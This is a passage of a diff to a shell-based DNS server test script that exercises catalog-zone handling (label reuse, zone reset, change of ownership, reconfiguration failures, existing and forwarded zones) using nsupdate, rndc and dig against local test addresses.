+    update add coo.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN TXT "catalog2.example."
     update add b901f492f3ebf6c1e5b597e51766f02f0479eb03.zones.catalog1.example. 3600 IN PTR dom3.example.
     update add e721433b6160b450260d4f54b3ec8bab30cb3b83.zones.catalog1.example. 3600 IN NS foo.bar.
     update add trash.catalog1.example. 3600 IN A 1.2.3.4
@@ -207,7 +363,6 @@ $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     update add blahblah.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN TXT "blah blah"
     update add version.catalog1.example. 3600 IN A 1.2.3.4
     send
-
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -223,12 +378,14 @@ END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
+wait_for_message ns2/named.run "catz: updating catalog zone 'catalog2.example' with serial 2670950425" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom2.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom3.example' from catalog 'catalog1.example'" &&
 wait_for_message ns2/named.run "catz: adding zone 'dom4.example' from catalog 'catalog2.example'" &&
-wait_for_message ns2/named.run "transfer of 'dom4.example/IN' from 10.53.0.1#${EXTRAPORT1}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run "transfer of 'dom4.example/IN/default' from 10.53.0.1#${EXTRAPORT1}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -239,7 +396,6 @@ wait_for_soa @10.53.0.2 dom4.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-
 n=$((n+1))
 echo_i "checking that dom3.example. is not served by primary ($n)"
 ret=0
@@ -252,7 +408,7 @@ echo_i "adding a domain dom3.example. to primary via RNDC ($n)"
 ret=0
 echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom3.example.db
 echo "@ IN NS invalid." >> ns1/dom3.example.db
-rndccmd 10.53.0.1 addzone dom3.example. '{type primary; file "dom3.example.db"; also-notify { 10.53.0.2; }; notify explicit; };' || ret=1
+rndccmd 10.53.0.1 addzone dom3.example. in default '{type primary; file "dom3.example.db"; also-notify { 10.53.0.2; }; notify explicit; };' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -266,10 +422,8 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run "catz: adding zone 'dom2.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run "catz: adding zone 'dom3.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "transfer of 'dom2.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" &&
-wait_for_message ns2/named.run  "transfer of 'dom3.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run  "transfer of 'dom2.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" &&
+wait_for_message ns2/named.run  "transfer of 'dom3.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -280,75 +434,76 @@ wait_for_soa @10.53.0.2 dom3.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
+# The member zone's PTR RRset must have only one record in it.
+# Check that adding a second record to the RRset is caught and such a
+# catalog zone is not processed.
 n=$((n+1))
-echo_i "removing all records from catalog1 zone ($n)"
+echo_i "adding domain dom4-reused-label.example. to catalog2 zone, reusing a label ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update delete 636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR dom2.example.
-    update delete b901f492f3ebf6c1e5b597e51766f02f0479eb03.zones.catalog1.example. 3600 IN PTR dom3.example.
-    update delete e721433b6160b450260d4f54b3ec8bab30cb3b83.zones.catalog1.example. 3600 IN NS foo.bar.
-    update delete trash.catalog1.example. 3600 IN A 1.2.3.4
-    update delete trash2.foo.catalog1.example. 3600 IN A 1.2.3.4
-    update delete trash3.zones.catalog1.example. 3600 IN NS a.dom2.example.
-    update delete foobarbaz.b901f492f3ebf6c1e5b597e51766f02f0479eb03.zones.catalog1.example. 3600 IN PTR dom3.example.
-    update delete blahblah.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR dom2.example.
-    update delete foobarbaz.b901f492f3ebf6c1e5b597e51766f02f0479eb03.zones.catalog1.example. 3600 IN APL 1:1.2.3.4/30
-    update delete blahblah.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN TXT "blah blah"
-    update delete version.catalog1.example. 3600 IN A 1.2.3.4
+    server 10.53.0.3 ${PORT}
+    update add de26b88d855397a03f77ff1162fd055d8b419584.zones.catalog2.example. 3600 IN PTR dom4-reused-label.example.
     send
-
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "removing all records from catalog2 zone ($n)"
+echo_i "waiting for secondary to sync up, and checking that the reused label has been caught ($n)"
 ret=0
-$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.3 ${PORT}
-    update delete de26b88d855397a03f77ff1162fd055d8b419584.zones.catalog2.example. 3600 IN PTR dom4.example.
-    send
-END
+wait_for_message ns2/named.run "de26b88d855397a03f77ff1162fd055d8b419584.zones.catalog2.example IN PTR (failure)" &&
+wait_for_message ns2/named.run "catz: new catalog zone 'catalog2.example' is broken and will not be processed" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-##########################################################################
-echo_i "Testing masters suboption and random labels"
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "adding dom5.example. with a valid masters suboption (IP without TSIG) and a random label ($n)"
+echo_i "deleting domain dom4-reused-label.example. from catalog2 zone ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update add somerandomlabel.zones.catalog1.example. 3600 IN PTR dom5.example.
-    update add masters.somerandomlabel.zones.catalog1.example. 3600 IN A 10.53.0.3
+    server 10.53.0.3 ${PORT}
+    update delete de26b88d855397a03f77ff1162fd055d8b419584.zones.catalog2.example. 3600 IN PTR dom4-reused-label.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
+# Test zone associated state reset.
 n=$((n+1))
-echo_i "waiting for secondary to sync up ($n)"
+echo_i "renaming the label of domain dom4.example. in catalog2 zone ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom5.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "transfer of 'dom5.example/IN' from 10.53.0.3#${PORT}: Transfer status: success" || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.3 ${PORT}
+    update delete de26b88d855397a03f77ff1162fd055d8b419584.zones.catalog2.example. 3600 IN PTR dom4.example.
+    update add dom4-renamed-label.zones.catalog2.example. 3600 IN PTR dom4.example.
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom5.example. is served by secondary ($n)"
+echo_i "waiting for secondary to sync up, and checking that the zone has been reset ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom5.example. dig.out.test$n || ret=1
+wait_for_message ns2/named.run "catz: zone 'dom4.example' unique label has changed, reset state" &&
+wait_for_message ns2/named.run "catz: deleting zone 'dom4.example' from catalog 'catalog2.example' - success" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom4.example' from catalog 'catalog2.example' - success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "removing dom5.example. ($n)"
+echo_i "adding domain dom2.example. to catalog2 zone to test change of ownership ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update delete somerandomlabel.zones.catalog1.example. 3600 IN PTR dom5.example.
-    update delete masters.somerandomlabel.zones.catalog1.example. 3600 IN A 10.53.0.3
+    server 10.53.0.3 ${PORT}
+    update add dom2-without-coo.zones.catalog2.example. 3600 IN PTR dom2.example.
+    update add primaries.dom2-without-coo.zones.catalog2.example. 3600 IN A 10.53.0.3
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -357,28 +512,33 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "zone_shutdown: zone dom5.example/IN: shutting down" || ret=1
+wait_for_message ns2/named.run "catz: adding zone 'dom2.example' from catalog 'catalog2.example'" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom5.example. is no longer served by secondary ($n)"
+echo_i "checking that unpermitted change of ownership did not happen ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom5.example. dig.out.test$n || ret=1
+wait_for_message ns2/named.run "catz_addmodzone_cb: zone 'dom2.example' will not be added because another catalog zone already contains an entry with that zone" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom2.example. is served by secondary and that it's the one from ns1 ($n)"
+ret=0
+wait_for_a @10.53.0.2 dom2.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
 
-##########################################################################
-echo_i "Testing masters global option"
 n=$((n+1))
-echo_i "adding dom6.example. and a valid global masters option (IP without TSIG) ($n)"
+echo_i "adding change of ownership permission record for dom2.example. into catalog1 zone ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add masters.catalog1.example. 3600 IN A 10.53.0.3
-    update add masters.catalog1.example. 3600 IN AAAA fd92:7065:b8e:ffff::3
-    update add 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
+    update add coo.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR catalog2.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -387,54 +547,72 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom6.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "transfer of 'dom6.example/IN' from " > /dev/null || ret=1
+wait_for_message ns2/named.run "catz: updating catalog zone 'catalog1.example'" &&
+wait_for_message ns2/named.run "catz: update_from_db: new zone merged" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom6.example. is served by secondary ($n)"
+echo_i "updating catalog2 zone to initiate a zone transfer ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom6.example. dig.out.test$n || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.3 ${PORT}
+    update delete dom2-without-coo.zones.catalog2.example. 3600 IN PTR dom2.example.
+    update delete primaries.dom2-without-coo.zones.catalog2.example. 3600 IN A 10.53.0.3
+    update add dom2-with-coo.zones.catalog2.example. 3600 IN PTR dom2.example.
+    update add primaries.dom2-with-coo.zones.catalog2.example. 3600 IN A 10.53.0.3
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "removing dom6.example. ($n)"
+echo_i "waiting for secondary to sync up and checking that the change of ownership was successful ($n)"
 ret=0
-$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update delete masters.catalog1.example. 3600 IN A 10.53.0.3
-    update delete masters.catalog1.example. 3600 IN AAAA  fd92:7065:b8e:ffff::3
-    update delete 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
-    send
-END
+wait_for_message ns2/named.run "catz: zone 'dom2.example' change of ownership from 'catalog1.example' to 'catalog2.example'" &&
+wait_for_message ns2/named.run "catz: deleting zone 'dom2.example' from catalog 'catalog1.example' - success" &&
+wait_for_message ns2/named.run "catz: adding zone 'dom2.example' from catalog 'catalog2.example'" &&
+wait_for_message ns2/named.run "transfer of 'dom2.example/IN/default' from 10.53.0.3#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "waiting for secondary to sync up ($n)"
+echo_i "checking that dom2.example. is served by secondary and that it's now the one from ns3 ($n)"
 ret=0
-wait_for_message ns2/named.run  "zone_shutdown: zone dom6.example/IN: shutting down" || ret=1
+wait_for_a @10.53.0.2 dom2.example. dig.out.test$n || ret=1
+grep "192.0.2.2" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "checking that dom6.example. is no longer served by secondary ($n)"
+echo_i "removing dom2.example. and its change of ownership permission record from catalog1 zone ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom6.example. dig.out.test$n || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete 636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR dom2.example.
+    update delete coo.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR catalog2.example.
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run "catz: update_from_db: iteration finished" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 nextpart ns2/named.run >/dev/null
 
 n=$((n+1))
-echo_i "adding dom6.example. and an invalid global masters option (TSIG without IP) ($n)"
+echo_i "adding change of ownership permission record for dom2.example. into catalog2 zone ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update add label1.masters.catalog1.example. 3600 IN TXT "tsig_key"
-    update add 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
+    server 10.53.0.3 ${PORT}
+    update add coo.dom2-with-coo.zones.catalog2.example. 3600 IN PTR catalog1.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -443,113 +621,120 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom6.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "error \"failure\" while trying to generate config for zone \"dom6.example\"" || ret=1
+wait_for_message ns2/named.run "catz: update_from_db: iteration finished" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "removing dom6.example. ($n)"
+echo_i "adding back dom2.example. into catalog1 zone ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update delete label1.masters.catalog1.example. 3600 IN TXT "tsig_key"
-    update delete 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
+    update add 636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR dom2.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "waiting for secondary to sync up ($n)"
+echo_i "checking that the change of ownership did not happen because version '1' catalog2 zone does not support the 'coo' property ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: deleting zone 'dom6.example' from catalog 'catalog1.example' - success" > /dev/null || ret=1
+wait_for_message ns2/named.run "catz_addmodzone_cb: zone 'dom2.example' will not be added because another catalog zone already contains an entry with that zone" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-##########################################################################
 n=$((n+1))
-echo_i "Checking that a missing zone directory forces in-memory ($n)"
+echo_i "checking that dom2.example. is still served by secondary and that it's still the one from ns3 ($n)"
 ret=0
-grep "'nonexistent' not found; zone files will not be saved" ns2/named.run > /dev/null || ret=1
+wait_for_a @10.53.0.2 dom2.example. dig.out.test$n || ret=1
+grep "192.0.2.2" dig.out.test$n > /dev/null || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-##########################################################################
-echo_i "Testing allow-query and allow-transfer ACLs"
+nextpart ns2/named.run >/dev/null
+
+# GL #3060
 n=$((n+1))
-echo_i "adding domains dom7.example. and dom8.example. to primary via RNDC ($n)"
+echo_i "reconfiguring secondary - checking if catz survives a certain class of failed reconfiguration attempts ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom7.example.db
-echo "@ IN NS invalid." >> ns1/dom7.example.db
-rndccmd 10.53.0.1 addzone dom7.example. '{type primary; file "dom7.example.db";};' || ret=1
+sed -e "s/^#T3//" < ns2/named1.conf.in > ns2/named.conf.tmp
+copy_setports ns2/named.conf.tmp ns2/named.conf
+$RNDC -c ../common/rndc.conf -s 10.53.0.2 -p "${CONTROLPORT}" reconfig > /dev/null 2>&1 && ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom8.example.db
-echo "@ IN NS invalid." >> ns1/dom8.example.db
-rndccmd 10.53.0.1 addzone dom8.example. '{type primary; file "dom8.example.db";};' || ret=1
+
+n=$((n+1))
+echo_i "checking again that dom3.example. is served by secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom3.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom7.example. is now served by primary ($n)"
+echo_i "reconfiguring secondary - reverting the bad configuration ($n)"
 ret=0
-wait_for_soa @10.53.0.1 dom7.example. dig.out.test$n || ret=1
+copy_setports ns2/named1.conf.in ns2/named.conf
+rndccmd 10.53.0.2 reconfig || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 nextpart ns2/named.run >/dev/null
 
+# GL #3911
 n=$((n+1))
-echo_i "adding domain dom7.example. to catalog1 zone with an allow-query statement ($n)"
+echo_i "reconfiguring secondary - checking if catz survives another type of failed reconfiguration attempts ($n)"
 ret=0
-$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
-    server 10.53.0.1 ${PORT}
-    update add 78833ec3c0059fd4540fee81c7eaddce088e7cd7.zones.catalog1.example. 3600 IN PTR dom7.example.
-    update add allow-query.78833ec3c0059fd4540fee81c7eaddce088e7cd7.zones.catalog1.example. 3600 IN APL 1:10.53.0.1/32 !1:10.53.0.0/30 1:0.0.0.0/0
-    send
-END
+sed -e "s/^#T4//" < ns2/named1.conf.in > ns2/named.conf.tmp
+copy_setports ns2/named.conf.tmp ns2/named.conf
+$RNDC -c ../common/rndc.conf -s 10.53.0.2 -p "${CONTROLPORT}" reconfig > /dev/null 2>&1 && ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+# catalog zone update can be deferred
+sleep 2
+
 n=$((n+1))
-echo_i "waiting for secondary to sync up ($n)"
+echo_i "checking again that dom3.example. is served by secondary ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom7.example' from catalog 'catalog1.example'" > /dev/null &&
-wait_for_message ns2/named.run  "transfer of 'dom7.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_soa @10.53.0.2 dom3.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom7.example. is accessible from 10.53.0.1 ($n)"
+echo_i "reconfiguring secondary - reverting the bad configuration ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.1 || ret=1
+copy_setports ns2/named1.conf.in ns2/named.conf
+rndccmd 10.53.0.2 reconfig || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "checking that dom7.example. is not accessible from 10.53.0.2 ($n)"
+echo_i "adding a domain dom-existing.example. to primary via RNDC ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.2 || ret=1
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom-existing.example.db
+echo "@ IN NS invalid." >> ns1/dom-existing.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom-existing.example.db
+rndccmd 10.53.0.1 addzone dom-existing.example. in default '{type primary; file "dom-existing.example.db"; also-notify { 10.53.0.2; }; notify explicit; };' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom7.example. is accessible from 10.53.0.5 ($n)"
+echo_i "checking that dom-existing.example. is served by primary ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.5 || ret=1
+wait_for_a @10.53.0.1 dom-existing.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-nextpart ns2/named.run >/dev/null
 n=$((n+1))
-echo_i "adding dom8.example. domain and global allow-query and allow-transfer ACLs ($n)"
+echo_i "adding domain dom-existing.example. to catalog1 zone to test that existing zones don't get overwritten ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add cba95222e308baba42417be6021026fdf20827b6.zones.catalog1.example. 3600 IN PTR dom8.example
-    update add allow-query.catalog1.example. 3600 IN APL 1:10.53.0.1/32
-    update add allow-transfer.catalog1.example. 3600 IN APL 1:10.53.0.2/32
+    update add dom-existing.zones.catalog1.example. 3600 IN PTR dom-existing.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -558,117 +743,269 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" &&
-wait_for_message ns2/named.run  "transfer of 'dom8.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run "catz: adding zone 'dom-existing.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run "catz_addmodzone_cb: zone 'dom-existing.example' will not be added because it is an explicitly configured zone" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom8.example. is accessible from 10.53.0.1 ($n)"
+echo_i "checking that dom-existing.example. is served by secondary and that it's not the one from the primary ns1 ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.1 || ret=1
+wait_for_a @10.53.0.2 dom-existing.example. dig.out.test$n || ret=1
+grep "192.0.2.1" dig.out.test$n > /dev/null && ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "checking that dom8.example. is not accessible from 10.53.0.2 ($n)"
+echo_i "adding a domain dom-existing-forward.example. to primary via RNDC ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.2 || ret=1
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom-existing-forward.example.db
+echo "@ IN NS invalid." >> ns1/dom-existing-forward.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom-existing-forward.example.db
+rndccmd 10.53.0.1 addzone dom-existing-forward.example. in default '{type primary; file "dom-existing-forward.example.db"; also-notify { 10.53.0.2; }; notify explicit; };' || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom8.example. is not AXFR accessible from 10.53.0.1 ($n)"
+echo_i "checking that dom-existing-forward.example. is served by primary ($n)"
 ret=0
-dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.1 > dig.out.test$n
-grep "Transfer failed." dig.out.test$n > /dev/null || ret=1
+wait_for_a @10.53.0.1 dom-existing-forward.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom8.example. is AXFR accessible from 10.53.0.2 ($n)"
+echo_i "adding domain dom-existing-forward.example. to catalog1 zone to test that existing forward zones don't get overwritten ($n)"
 ret=0
-dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.2 > dig.out.test$n
-grep -v "Transfer failed." dig.out.test$n > /dev/null || ret=1
-if [ $ret -ne 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
-
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add dom-existing-forward.zones.catalog1.example. 3600 IN PTR dom-existing-forward.example.
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run "catz: adding zone 'dom-existing-forward.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run "catz_addmodzone_cb: zone 'dom-existing-forward.example' will not be processed because of the explicitly configured forwarding for that zone" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom-existing-forward.example. is not served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom-existing-forward.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 nextpart ns2/named.run >/dev/null
+
 n=$((n+1))
-echo_i "deleting global allow-query and allow-domain ACLs ($n)"
+echo_i "adding a domain dom-existing-forward-off.example. to primary via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom-existing-forward-off.example.db
+echo "@ IN NS invalid." >> ns1/dom-existing-forward-off.example.db
+echo "@ IN A 192.0.2.1" >> ns1/dom-existing-forward-off.example.db
+rndccmd 10.53.0.1 addzone dom-existing-forward-off.example. in default '{type primary; file "dom-existing-forward-off.example.db"; also-notify { 10.53.0.2; }; notify explicit; };' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom-existing-forward-off.example. is served by primary ($n)"
+ret=0
+wait_for_a @10.53.0.1 dom-existing-forward-off.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "adding domain dom-existing-forward-off.example. to catalog1 zone to test that a zone with turned off forwarding can be used in a catalog zone ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update delete allow-query.catalog1.example. 3600 IN APL 1:10.53.0.1/32
-    update delete allow-transfer.catalog1.example. 3600 IN APL 1:10.53.0.2/32
+    update add dom-existing-forward-off.zones.catalog1.example. 3600 IN PTR dom-existing-forward-off.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+wait_for_message ns2/named.run "catz: adding zone 'dom-existing-forward-off.example' from catalog 'catalog1.example'" &&
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom8.example. is accessible from 10.53.0.1 ($n)"
+echo_i "checking that dom-existing-forward-off.example. is served by secondary ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.1 || ret=1
+wait_for_soa @10.53.0.2 dom-existing-forward-off.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom8.example. is accessible from 10.53.0.2 ($n)"
